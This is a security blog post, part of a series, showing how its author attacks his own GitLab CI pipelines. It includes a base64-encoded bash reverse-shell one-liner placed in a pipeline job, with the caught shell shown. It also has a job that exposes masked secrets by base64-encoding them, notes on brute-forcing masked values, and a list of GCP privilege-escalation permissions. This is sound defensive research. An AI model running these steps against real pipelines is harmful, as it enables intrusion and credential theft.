Hacking CI/CD Pipelines: Part 3 GitLab CI

Next in the Hacking CI/CD Pipelines series, I look at GitLab CI. In part 1 I discussed what pipelines we’ll look at, an example application to build in a pipeline and then how we’ll abuse them (execute malicious code and stealing credentials). If you are wondering where part 2 is, I’ve had to delay publishing it due to an issue I found in Jenkins.

Setup

To save time we’ll be using GitLab SaaS (Gitlab.com). Reviewing the self-hosted installation instructions GitLab requires a certificate against a owned domain. Whilst I could go down this route, it distracts from the objective of these posts which is runner exploitation and not the GitLab server itself.

Before we build the demo-app, we’ll need to set up a project.

As we already have a repository, we’ll only configure “Run CI/CD for external repository”. Once we get past a couple of sign up pages, we can import our demo-app project to a GitLab Group (wakeward-test).

Once the import has finished, we can find the repository in the designated group.

With our code in place, we can begin to define the pipeline.

Pipeline Format and Public Templates

As a recap, this is what we want to define in our build pipeline:

  1. Checkout the go api app source code from GitHub
  2. Build the go binary
  3. Unit test the go binary
  4. Build the go api app container image
  5. Push the container image to DockerHub

For GitLab CI, the pipeline definition context is set to the repository that is being built, so checking out the source code is not required.

We can create a CI/CD Pipeline by clicking “Set up CI/CD -> Configure Pipeline”.

The default pipeline definition (.gitlab-ci.yml) provides a basic outline for steps (stages).

GitLab has a number of example pipeline files which we can use, including CI/CD templates. We are directly interested in the Go.gitlab.yaml and Docker.gitlab-ci.yml.

Note: To create a new pipeline requires account verification, mobile verification and reCAPTCHA puzzle to complete.

GitLab CI Pipeline

Based on the templates, the pipeline stages are simple enough to define:

Build

build-job:
  stage: build-go
  script:
    - mkdir -p app
    - go build -o app/demo-api -ldflags='-w -s' .
  artifacts:
    untracked: false
    when: on_success
    access: all
    expire_in: 30 days
    paths:
      - app

Unit test

unit-test:
  stage: test-go
  script:
    - go test ./...

Docker Build and Push

docker-build:
  # Use the official docker image.
  image: docker:cli
  stage: docker
  services:
    - docker:dind
  variables:
    DOCKER_IMAGE_NAME: wakeward/demo-api-app:$CI_COMMIT_REF_SLUG
  before_script:
    - echo "$DOCKER_REGISTRY_PASSWORD" | docker login -u "$DOCKER_REGISTRY_USER" --password-stdin
  script:
    - docker build --pull -t "$DOCKER_IMAGE_NAME" .
    - docker push "$DOCKER_IMAGE_NAME"
  rules:
    - if: $CI_COMMIT_BRANCH
      exists:
        - Dockerfile

As part of the docker stage, there are few variables used. $CI_COMMIT_REF_SLUG is built in variable from GitLab but $DOCKER_REGISTRY_USER and $DOCKER_REGISTRY_PASSWORD need to be defined so we can authenticate to DockerHub. This done by going to “Settings -> CI/CD -> Variables”.

GitLab provides a couple of options here to protect the exposure of sensitive credentials.

Firstly, GitLab applies a level of RBAC to defining the pipeline variables, these can be “No one allowed”, “Owner”, “Maintainer” or “Developer”. This reduces the risk of an unauthorised user exposing the credentials.

Secondly, creating the variable has several settings which helps with the security. The configuration can restrict which environments the variables can be used as well as the visibility to the build logs (job logs). Additionally there is a protect variable flag, that when enabled it will only export to pipelines running on protected branches and tags only.

We’ll return to these settings when attempting to dump credentials but for the moment the variables required for the pipeline are configured securely. That is the registry user is set to “Visible”, whilst registry password (DockerHub Token) is set to “Masked and hidden”.

Working Pipeline

With all this in place, the pipeline definition file can be committed to the repository (main) which will trigger the job.

Note: As stated in part 1, if you want to see the working pipeline definition files for this series, go my pipeline-examples repository.

Each job is given a build id and clicking on it shows the progress:

Once successfully completed, it will show three green ticks:

If you need to examine what has been executed in each stage, simply click on it:

Running with gitlab-runner 18.1.0~pre.317.g2147fb44 (2147fb44)
  on green-5.saas-linux-small-amd64.runners-manager.gitlab.com/default xS6Vzpvo, system ID: s_6b1e4f06fcfd
Resolving secrets
Preparing the "docker+machine" executor
00:33
Using Docker executor with image docker:cli ...
Starting service docker:dind...
Using effective pull policy of [always] for container docker:dind
Pulling docker image docker:dind ...
Using docker image sha256:2da0bd7ecf78eacd7de485edf3565b12c1f71facbeceb4f9b8bfc60805d7b4e9 for docker:dind with digest docker@sha256:eceba5b0fc2fcf83a74c298391c2ed9e1adbdaf04ee173611bd6282ec973e7ba ...
Waiting for services to be up and running (timeout 30 seconds)...
Using effective pull policy of [always] for container docker:cli
Pulling docker image docker:cli ...
Using docker image sha256:5cd839d54fb4c32180f69dd76455c0b72cc91054164466f1c47ab1ed52681ee1 for docker:cli with digest docker@sha256:f4ca5cab1815946d04c814d564828af0869c2fc23a7ef014d07cab1694d93cae ...
Preparing environment
00:01
Using effective pull policy of [always] for container sha256:9bce3c0d6cfb7a488f05dc3e59f9bb960daf196edfd7425473eb1574d17b8b3b
Running on runner-xs6vzpvo-project-70021454-concurrent-0 via runner-xs6vzpvo-s-l-s-amd64-1748356359-9a053b15...
Getting source from Git repository
00:01
Fetching changes with git depth set to 20...
hint: Using 'master' as the name for the initial branch. This default branch name
hint: is subject to change. To configure the initial branch name to use in all
hint: of your new repositories, which will suppress this warning, call:
hint:
hint: 	git config --global init.defaultBranch <name>
hint:
hint: Names commonly chosen instead of 'master' are 'main', 'trunk' and
hint: 'development'. The just-created branch can be renamed via this command:
hint:
hint: 	git branch -m <name>
Initialized empty Git repository in /builds/wakeward-test/demo-api-app/.git/
Created fresh repository.
Checking out 283a6c4f as detached HEAD (ref is main)...
Skipping Git submodules setup
$ git remote set-url origin "${CI_REPOSITORY_URL}" || echo 'Not a git repository; skipping'
Downloading artifacts
00:02
Downloading artifacts for build-job (10164602044)...
Downloading artifacts from coordinator... ok        host=storage.googleapis.com id=10164602044 responseStatus=200 OK token=eyJraWQiO
Executing "step_script" stage of the job script
01:10
Using effective pull policy of [always] for container docker:cli
Using docker image sha256:5cd839d54fb4c32180f69dd76455c0b72cc91054164466f1c47ab1ed52681ee1 for docker:cli with digest docker@sha256:f4ca5cab1815946d04c814d564828af0869c2fc23a7ef014d07cab1694d93cae ...
$ echo "$DOCKER_REGISTRY_PASSWORD" | docker login -u "$DOCKER_REGISTRY_USER" --password-stdin
WARNING! Your credentials are stored unencrypted in '/root/.docker/config.json'.
Configure a credential helper to remove this warning. See
https://docs.docker.com/go/credential-store/
Login Succeeded
$ docker build --pull -t "$DOCKER_IMAGE_NAME" .
#0 building with "default" instance using docker driver
#1 [internal] load build definition from Dockerfile
#1 transferring dockerfile: 253B done
#1 DONE 0.0s
#2 [auth] library/golang:pull token for registry-1.docker.io
#2 DONE 0.0s
...
#12 writing image sha256:6b45e0ba99cd9819589293bf8d22ea7819b8a28fd67be1671c3a4e4b9ef103de done
#12 naming to docker.io/wakeward/demo-api-app:main done
#12 DONE 0.1s
$ docker push "$DOCKER_IMAGE_NAME"
The push refers to repository [docker.io/wakeward/demo-api-app]
bddede76b282: Preparing
91f7bcfdfda8: Preparing
05ef21d76315: Preparing
05ef21d76315: Layer already exists
91f7bcfdfda8: Layer already exists
bddede76b282: Pushed
main: digest: sha256:3bc91327838d79c0ca440d36b3c374e162ff273bb194f018d2ca1ddeefc662ea size: 949
Cleaning up project directory and file based variables
00:00
Job succeeded

Validating the Build

With the container image built, we can check it by pulling it from DockerHub and testing it out.

docker pull wakeward/demo-api-app:main
main: Pulling from wakeward/demo-api-app
2445dbf7678f: Already exists
f291067d32d8: Already exists
d8b26f65c273: Pull complete
Digest: sha256:3bc91327838d79c0ca440d36b3c374e162ff273bb194f018d2ca1ddeefc662ea
Status: Downloaded newer image for wakeward/demo-api-app:main
docker.io/wakeward/demo-api-app:main
docker run -it --rm -p 8080:8080 wakeward/demo-api-app:main
[GIN-debug] [WARNING] Creating an Engine instance with the Logger and Recovery middleware already attached.

[GIN-debug] [WARNING] Running in "debug" mode. Switch to "release" mode in production.
 - using env:   export GIN_MODE=release
 - using code:  gin.SetMode(gin.ReleaseMode)

[GIN-debug] GET    /api/v1/healthcheck       --> github.com/wakeward/demo-api-app/controllers.HealthCheck (3 handlers)
[GIN-debug] GET    /swagger/*any             --> github.com/swaggo/gin-swagger.CustomWrapHandler.func1 (3 handlers)
[GIN-debug] [WARNING] You trusted all proxies, this is NOT safe. We recommend you to set a value.
Please check https://pkg.go.dev/github.com/gin-gonic/gin#readme-don-t-trust-all-proxies for details.
[GIN-debug] Listening and serving HTTP on :8080
curl http://localhost:8080/api/v1/healthcheck
service is running

Before we get to hacking the pipeline, let’s examine what GitLab has configured by default for the runner.

Default Runner

Whether it is GitLab.com or Self-hosted, the runner plays a critical role for the security of the pipeline. It should be ephemeral and isolated from the primary server which triggers the build as well as the other pipeline runners. Where possible, the runner should only have the necessary tools for performing the tasks in the build and limit external access to unauthorised systems.

By default, GitLab.com provides a number of GitLab-hosted instance runners:

As stated in the documentation, “Instance runners are available to every project in a GitLab instance” but for both hosting options, self-hosted runners are available.

GitLab provides a list of differences between GitLab-hosted and Self-managed runners. From a security perspective, if you require specific controls to be in-place, then you’ll have to use Self-managed runners. This does come with a management overhead as you’ll need to think about resource pools, runner reuse between projects and infrastructure controls (e.g. memory, storage and network).

The GitLab-hosted runners are provisioned per job run so there shouldn’t be any sensitive data that is persisted during the executions. For completeness (and the fact we are performing malicious actions), we’ll create a Self-managed runner as well as using GitLab-hosted runners.

Setup a Self-managed Runner

Within “Settings -> CI/CD -> Runners”, a project runner can be created. Initially GitLab provides configuration settings which form part of the setup of the runner. A key configuration item is the maximum job timeout which will affect how long the runner runs before termination. This is significant if we want a reverse shell.

The next step is to define the infrastructure host for the runner and we are given the access token for GitLab to securely reach the instance. I chose to host the runner on Google Cloud (GCP).

Finally, there are setup instructions which consist of:

  1. A bash script which configures the GCP project with a new service account and associated roles
  2. Terraform code which can be used to setup the runner instance in GCP
  3. The commands to execute terraform

Configuring the Self-managed Runner was painful!

Firstly, during the setup process, I found that the example terraform code returned an error due to a required variable (runner-version) being missing. I looked up what this was supposed to be configured to in the terraform module and set it to runner_version = "v17.11.2" based on the built runner versions I found.

Secondly, I found that the entrypoint script was failing to extract the access token used to authenticate to GitLab. I manually replaced it and suddenly it sprung to life…

After configuring the instance, you find a connected runner.

I tweaked the pipeline definition file to use the commit sha:

 variables:
    DOCKER_IMAGE_NAME: wakeward/demo-api-app:$CI_COMMIT_SHA

This triggers another build and after a while we can see it successfully completes.

Executing Malicious Code

Simple Reverse Shell

To obtain a Linux reverse shell, we can use the following:

bash -i >& /dev/tcp/<IP-ADDR>/<PORT> 0>&1

Using base64 to encode the one liner, reduces the risk of any characters being mishandled:

echo "YmFzaCAtaSA+JiAvZGV2L3RjcC88SVAtQUREUj4vPFBPUlQ+IDA+JjEK" | base64 -d | bash

This one line can be added to script section in a pipeline stage:

  image: ubuntu:latest

  stages:
    - rs

  # echo "bash -i >& /dev/tcp/<IP-ADDR>/<PORT> 0>&1" | base64
  reverse-shell:
    stage: rs
    script:
      - echo "YmFzaCAtaSA+JiAvZGV2L3RjcC88SVAtQUREUj4vPFBPUlQ+IDA+JjEK" | base64 -d | bash

Running the code in the pipeline causes the job to hang:

Running with gitlab-runner 18.1.0~pre.317.g2147fb44 (2147fb44)
  on green-6.saas-linux-small-amd64.runners-manager.gitlab.com/default YKxHNyexq, system ID: s_a201ab37b78a
Resolving secrets
Preparing the "docker+machine" executor
00:08
Using Docker executor with image ubuntu:latest ...
Using effective pull policy of [always] for container ubuntu:latest
Pulling docker image ubuntu:latest ...
Using docker image sha256:a0e45e2ce6e6e22e73185397d162a64fcf2f80a41c597015cab05d9a7b5913ce for ubuntu:latest with digest ubuntu@sha256:6015f66923d7afbc53558d7ccffd325d43b4e249f41a6e93eef074c9505d2233 ...
Preparing environment
00:01
Using effective pull policy of [always] for container sha256:fd5b3d908f39dc60c79767c6332fe333474de942d5ac9209249f757b70605c56
Running on runner-ykxhnyexq-project-70021454-concurrent-0 via runner-ykxhnyexq-s-l-s-amd64-1748462488-69fae280...
Getting source from Git repository
00:01
Fetching changes with git depth set to 20...
hint: Using 'master' as the name for the initial branch. This default branch name
hint: is subject to change. To configure the initial branch name to use in all
hint: of your new repositories, which will suppress this warning, call:
hint:
hint: 	git config --global init.defaultBranch <name>
hint:
hint: Names commonly chosen instead of 'master' are 'main', 'trunk' and
hint: 'development'. The just-created branch can be renamed via this command:
hint:
hint: 	git branch -m <name>
Initialized empty Git repository in /builds/wakeward-test/demo-api-app/.git/
Created fresh repository.
Checking out 8aeaf2fc as detached HEAD (ref is main)...
Skipping Git submodules setup
$ git remote set-url origin "${CI_REPOSITORY_URL}" || echo 'Not a git repository; skipping'
Executing "step_script" stage of the job script
26:05
Using effective pull policy of [always] for container ubuntu:latest
Using docker image sha256:a0e45e2ce6e6e22e73185397d162a64fcf2f80a41c597015cab05d9a7b5913ce for ubuntu:latest with digest ubuntu@sha256:6015f66923d7afbc53558d7ccffd325d43b4e249f41a6e93eef074c9505d2233 ...
$ echo "YmFzaCAtaSA+JiAvZGV2L3RjcC88SVAtQUREUj4vPFBPUlQ+IDA+JjEK" | base64 -d | bash

And we obtain a reverse shell on our host:

wakeward@ubu-skyhook-2024:~$ nc -lnvp 4444
Listening on 0.0.0.0 4444
Connection received on <RUNNER_PUBLIC_IP> 39612
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
<4-concurrent-0:/builds/wakeward-test/demo-api-app#

Reviewing the GitLab Runner

Now we have access to a GitLab runner we can enumerate it. id tells us that we are running as root but this is likely in a container.

<4-concurrent-0:/builds/wakeward-test/demo-api-app# id
id
uid=0(root) gid=0(root) groups=0(root)

A quick review of mount confirms this.

<4-concurrent-0:/builds/wakeward-test/demo-api-app# mount
mount
overlay on / type overlay (rw,relatime,lowerdir=/var/lib/docker/overlay2/l/LM6WX2224EZTL7J3HXOVBTTIN2:/var/lib/docker/overlay2/l/QB7YRH3YH74OCRSETQSZ2GMA3F,upperdir=/var/lib/docker/overlay2/a3929cb955b9d526ca0c7da2c0c055dc913fbe916f5f28f2bda4a0f127fdeef7/diff,workdir=/var/lib/docker/overlay2/a3929cb955b9d526ca0c7da2c0c055dc913fbe916f5f28f2bda4a0f127fdeef7/work)
proc on /proc type proc (rw,nosuid,nodev,noexec,relatime)
tmpfs on /dev type tmpfs (rw,nosuid,size=65536k,mode=755)
devpts on /dev/pts type devpts (rw,nosuid,noexec,relatime,gid=5,mode=620,ptmxmode=666)
sysfs on /sys type sysfs (rw,nosuid,nodev,noexec,relatime)
cgroup on /sys/fs/cgroup type cgroup2 (rw,nosuid,nodev,noexec,relatime,nsdelegate,memory_recursiveprot)
mqueue on /dev/mqueue type mqueue (rw,nosuid,nodev,noexec,relatime)
shm on /dev/shm type tmpfs (rw,nosuid,nodev,noexec,relatime,size=65536k)
/dev/sda1 on /builds type ext4 (rw,nosuid,nodev,relatime,commit=30)
/dev/sda1 on /certs/client type ext4 (rw,nosuid,nodev,relatime,commit=30)
/dev/sda1 on /etc/resolv.conf type ext4 (rw,nosuid,nodev,relatime,commit=30)
/dev/sda1 on /etc/hostname type ext4 (rw,nosuid,nodev,relatime,commit=30)
/dev/sda1 on /etc/hosts type ext4 (rw,nosuid,nodev,relatime,commit=30)
tmpfs on /sys/devices/virtual/dmi/id type tmpfs (ro)

From the list of mount points, two jump out as non-standard, /builds and /certs/client. These are custom mount points for attaching code used to build and client certificates.

Next up is looking at environment variables which returns a treasure trove of information. As env returns 156 environment variables, I’ll attempt to highlight interesting information and break it down into “GitLab” specified values and “User” specific ones.

GitLab Environment Variables

These environment variables are related to GitLab and the GitLab Runner. I’ve provided inline comments when required.

CI_RUNNER_VERSION=18.1.0~pre.317.g2147fb44
CI_SERVER_NAME=GitLab
CI_RUNNER_DESCRIPTION=6-green.saas-linux-small-amd64.runners-manager.gitlab.com/default
CI_RUNNER_EXECUTABLE_ARCH=linux/amd64
HOSTNAME=runner-ykxhnyexq-project-70021454-concurrent-0
FF_MASK_ALL_DEFAULT_TOKENS=true
CI_SERVER_SHELL_SSH_PORT=22
CI_REGISTRY=registry.gitlab.com
CI_JOB_IMAGE=ubuntu:latest
GITLAB_FEATURES=<REMOVED FOR BREVITY> # A comma separated list of GitLab features. No boolean values are provided to determine if they are enabled or not.
FF_DISABLE_UMASK_FOR_KUBERNETES_EXECUTOR=false # There are several Kubernetes variables which may indicate GitLab's runners are container workloads in a cluster
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin # Always useful to understand execution paths on a host
CI_REGISTRY_PASSWORD=glcbt-<REDACTED> # A JWT Token used to authenticate with external systems and is used by other environment variables
CI_REPOSITORY_URL=https://gitlab-ci-token:glcbt-ey<REDACTED>
CI_DEPENDENCY_PROXY_PASSWORD=glcbt-ey<REDACTED>
CI_JOB_TOKEN=glcbt-ey<REDACTED>

The same JWT token is used for CI_REGISTRY_PASSWORD, CI_REPOSITORY_URL, CI_DEPENDENCY_PROXY_PASSWORD and CI_JOB_TOKEN. We can decode the JWT token to review:

JWT Header

{
  "kid": "1TtL92nZRgTsjIUoX2OYVLUOJ1bWmGEbl-fAnKsYUhQ",
  "typ": "JWT",
  "alg": "RS256"
}

JWT Payload

{
  "version": "0.1.0",
  "o": "1",
  "u": "go9kg",
  "p": "15oswe",
  "g": "1s8ct4",
  "jti": "72bc5f15-191a-4073-bb5c-f5fd356dc799",
  "aud": "gitlab-authz-token",
  "sub": "gid://gitlab/Ci::Build/10182343314",
  "iss": "gitlab.com",
  "iat": 1748462534,
  "nbf": 1748462529,
  "exp": 1748466434
}

User Environment Variables

These environment variables are related to User or User specified project.

CI_PROJECT_NAMESPACE=wakeward-test # The use of "namespace" is interesting and normally associated with Linux (or Kubernetes) resource isolation
GITLAB_USER_EMAIL=<REDACTED>
GITLAB_USER_LOGIN=<REDACTED>
SECRET_TOKEN=SuperSecretToken # This and DockerHub variables appearing are interesting as we did not specify them in the pipeline!
DOCKER_REGISTRY_USER=wakeward
RUNNER_TEMP_PROJECT_DIR=/builds/wakeward-test/demo-api-app.tmp # Clone source code which can be enumerated over (found earlier as mount point)
DOCKER_REGISTRY_PASSWORD=dckr<REDACTED> # Yikes!
CI_PROJECT_URL=https://gitlab.com/wakeward-test/demo-api-app
GITLAB_USER_NAME=Kevin Ward
CI_COMMIT_AUTHOR=Kevin Ward <REDACTED>
CI_COMMIT_BRANCH=main # Useful to know what the runner is executing off

There is a lot of useful information here. The most significant finding is that any environment variables which are defined for the project will automatically be inserted into a GitLab Runner whether it is using it or not. A hugely valuable attack is to exfiltrate all the environment variables in a GitLab Runner with the aim of obtaining sensitive credentials. Additionally details of the code author are exposed meaning that if code signing is not used and we have access to repository, we could spoof commits as that user which may evade a thorough code review. Lastly, we can see what branch the GitLab Runner is triggered from and how easy it would be to compromise this code.

Note: If you have setup a “Masked and hidden” GitLab variable and need to know what the value is. I’ve just proven how you can obtain it outside of the GitLab UI.

Remaining Runner Info

Let’s carry on our review of the configuration settings on the GitLab Runner. We can check the Linux capabilities which are granted to the runner by the following command:

cat /proc/1/status | grep Cap
CapInh: 0000000000000000
CapPrm: 000001ffffffffff
CapEff: 000001ffffffffff
CapBnd: 000001ffffffffff
CapAmb: 0000000000000000

Using capsh we can decode the hexadecimal value to effective capabilities:

capsh --decode=000001ffffffffff
0x000001ffffffffff=cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read,cap_perfmon,cap_bpf,cap_checkpoint_restore

Essentially the container has been granted full Linux privileges (e.g. root) but most significant ones are:

  • CAP_SYS_ADMIN: Overloaded capability (privileged)
  • CAP_BPF: Employ privileged BPF operations
  • CAP_SYS_PTRACE: Trace arbitrary processes using ptrace (can be used for process injection)
  • CAP_NET_ADMIN: Control over various network-related operations

These all make container escaping possible, but rather than get distracted by attempting to escape the runner, let’s see what else is available.

We can search for files which have suid or sgid configured:

find / -perm /4000
/usr/bin/gpasswd
/usr/bin/mount
/usr/bin/passwd
/usr/bin/umount
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/su
/usr/bin/newgrp
find / -perm /2000
/usr/bin/expiry
/usr/bin/chage
/usr/sbin/unix_chkpwd
/usr/sbin/pam_extrausers_chkpwd
/var/mail
/var/local

Based on what is returned there isn’t anything that stands out.

One last interesting finding I discovered when debugging the Self-managed runner, was the systemd configuration for launching docker:

docker run --rm --name=gitlab-runner -p 9252:9252 -v /etc/gitlab-runner:/etc/gitlab-runner/ -v /var/run/docker.sock:/var/run/docker.sock --entrypoint /etc/gitlab-runner/entrypoint.sh registry.gitlab.com/gitlab-org/gitlab-runner:alpine-v17.11.2 run --config /etc/gitlab-runner/config.toml --user gitlab-runner --working-directory /home/gitlab-runner

The command mounts the docker socket which if accessible by an attacker could launch their own privileged container. The entrypoint script attempts to access Google Cloud KMS to set up the communication between the runner and GitLab.com based on the service account that is configured for the GCP Project.

The service account is configured with a custom GCP role (GRITProvisioner) which assigns 56 permissions. Based on my understanding of the roles permissions and known GCP IAM privilege escalation techniques, the following list demonstrates what permissions could be leveraged by an adversary.

Threat: Modify firewall rules of an instances running in the GCP Project

  • compute.firewalls.create
  • compute.firewalls.delete

Threat: Create an instance with Service Account (SA) and sends the SA token to an adversary controlled server

  • compute.instances.create
  • compute.disks.create
  • compute.instances.setMetadata
  • compute.instances.setServiceAccount
  • compute.subnetworks.use
  • compute.subnetworks.useExternalIp
  • iam.serviceAccounts.actAs

Threat: Update the “includedPermissions” to include additional permissions for the SA

  • iam.roles.update

Threat: Attach IAM roles to your user at the Project level

  • resourcemanager.projects.setIamPolicy

Thanks to fantastic research by Rhino Security Labs for the example GCP IAM permissions which can be abused. I recommend reviewing the referenced material here:

Exploitation Summary

It is clear that if an adversary were to get hold of GitLab runner, they could do significant damage. It is important to remember there are several security best practices which need to be applied in tandem with the runners. As always the security team from GitLab have provided security guidelines for hardening runners. It is clear, that if you want to deploy into GCP that a dedicated Project should be used to reduce the impact on other cloud resources.

Let’s pivot to our second objective and attempt to steal credentials.

Stealing Credentials

Masked Settings

As we did with Jenkins, we create an example secret to steal rather using an active DockerHub Token.

We can edit the pipeline to attempt to dump the creds with masking enabled.

  image: ubuntu:latest

  stages:
    - dump

  dump-sensitive-variable:
    stage: dump
    script:
      - echo "$SECRET_TOKEN"

The output from the pipeline is the following:

Running with gitlab-runner 18.1.0~pre.317.g2147fb44 (2147fb44)
  on green-1.saas-linux-small-amd64.runners-manager.gitlab.com/default JLgUopmM, system ID: s_deaa2ca09de7
...
$ echo "$SECRET_TOKEN"
[MASKED]
Cleaning up project directory and file based variables
00:00
Job succeeded

Subverting Variable Masking

The masking functionality is working as designed but let’s see how far it goes to mask the data. We’ll attempt to encode the value and use various ways to print it out to the build log.

  # Dumping a sensitive variable in the log

  image: ubuntu:latest

  stages:
    - dump

  dump-sensitive-variable:
    stage: dump
    script:
      - echo "$SECRET_TOKEN" | base64
      - echo "$SECRET_TOKEN" | base64 > secret_token.txt
      - cat secret_token.txt
      - cat secret_token.txt | base64 -d

Examining the pipeline output, shows that the base64 value is printed out.

...
$ echo "$SECRET_TOKEN" | base64
U3VwZXJTZWNyZXRUb2tlbgo=
$ echo "$SECRET_TOKEN" | base64 > secret_token.txt
$ cat secret_token.txt
U3VwZXJTZWNyZXRUb2tlbgo=
$ cat secret_token.txt | base64 -d
[MASKED]
Cleaning up project directory and file based variables
00:01
Job succeeded

In curiosity, I modified the pipeline to echo “SuperSecretToken” to see what would happen and if the masking checks whether that is a value associated with a sensitive variable.

# Dumping a sensitive variable in the log

image: ubuntu:latest

stages:
  - dump

dump-sensitive-variable:
  stage: dump
  script:
    - echo "SuperSecretToken"

Surprisingly it does mask the value.

...
$ echo "[MASKED]"
[MASKED]
Cleaning up project directory and file based variables
00:01
Job succeeded

Interestingly this could be used to brute force values if you define a multi-lined script in a pipeline stage. If it returns [MASKED] you have got the positive match for a variable. If you don’t care what the variable is, you could execute a birthday attack to retrieve the value. For a DockerHub Token, it always begins with dckr_pat_ with a set number of randomised values (27) so you could leverage the power of pipeline runners to brute force the value.

Exfiltrating Credentials

Another way to obtain sensitive data is just to dump it and send it over to a remote server. As we technically achieved this with the reverse shell and reviewing the environment variables on the runner, we won’t worry about doing this.

Wrap Up

Executing a reverse shell and dumping sensitive credentials was simple enough to achieve but as stated previously, we can apply a number of security controls to mitigate the impact of these events occurring. The key takeaways from an adversary perspective are:

  • The default configuration of the GCP Service Account for the GitLab Runner is quite permissive and potentially could be abused by an adversary.
  • GitLab runners include all environment variables associated with the project, even if they are not used in the pipeline.
  • If you can manipulate the .gitlab-ci.yml pipeline definition, you can subvert the masking by base64 encoding the variable and printing it out.
  • GitLab masks any text which matches an environment variable associated with the project.

That’s it for GitLab this time. Next is GitHub Actions which has received quite a lot of attention over the past year.